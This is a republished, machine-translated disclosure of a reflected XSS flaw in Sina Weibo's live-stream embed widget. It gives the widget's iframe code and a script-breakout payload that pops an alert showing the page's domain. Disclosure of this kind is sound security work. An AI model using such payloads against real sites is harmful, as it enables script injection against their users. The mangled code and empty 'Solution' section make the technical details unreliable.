Reflected XSS vulnerability and repair of Sina Weibo live broadcasting component

Source: Internet
Author: User

Sina Weibo http://widget.weibo.com/live broadcast components under the XSS vulnerability.
Detailed description:
 
Live Video components are generally used by other websites, such as embedded
 
<Iframe src = http://widget.weibo.com/livestream/listlive.php? Language = zh_cn & width = 242 & height = 290 & uid = 1459831275 & skin = 1 & refer = 1 & pic = 1 & titlebar = 0 & border = 0 & publish = 1 & atalk = 1 & recomm = 1 & at = 1 & atopic = 111 & ptopic = 1111 & dpc = 1> </iframe>
 
This page does not strictly filter the refer_content, so it can be xss. This may cause some security risks to other websites using this component.
Proof of vulnerability: www.2cto.com
 
Access xxxxx/sina1.html? S = </script> <script> alert (document. domain) </script>
The code is:
 
<Iframe src = http://widget.weibo.com/livestream/listlive.php? Language = zh_cn & width = 242 & height = 290 & uid = 1459831275 & skin = 1 & refer = 1 & pic = 1 & titlebar = 0 & border = 0 & publish = 1 & atalk = 1 & recomm = 1 & at = 1 & atopic = 111 & ptopic = 1111 & dpc = 1> </iframe>
 
Then the weibo domain is displayed.
 
Solution:
 
Security code
 
 
From d4rkwind @ wooyun

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.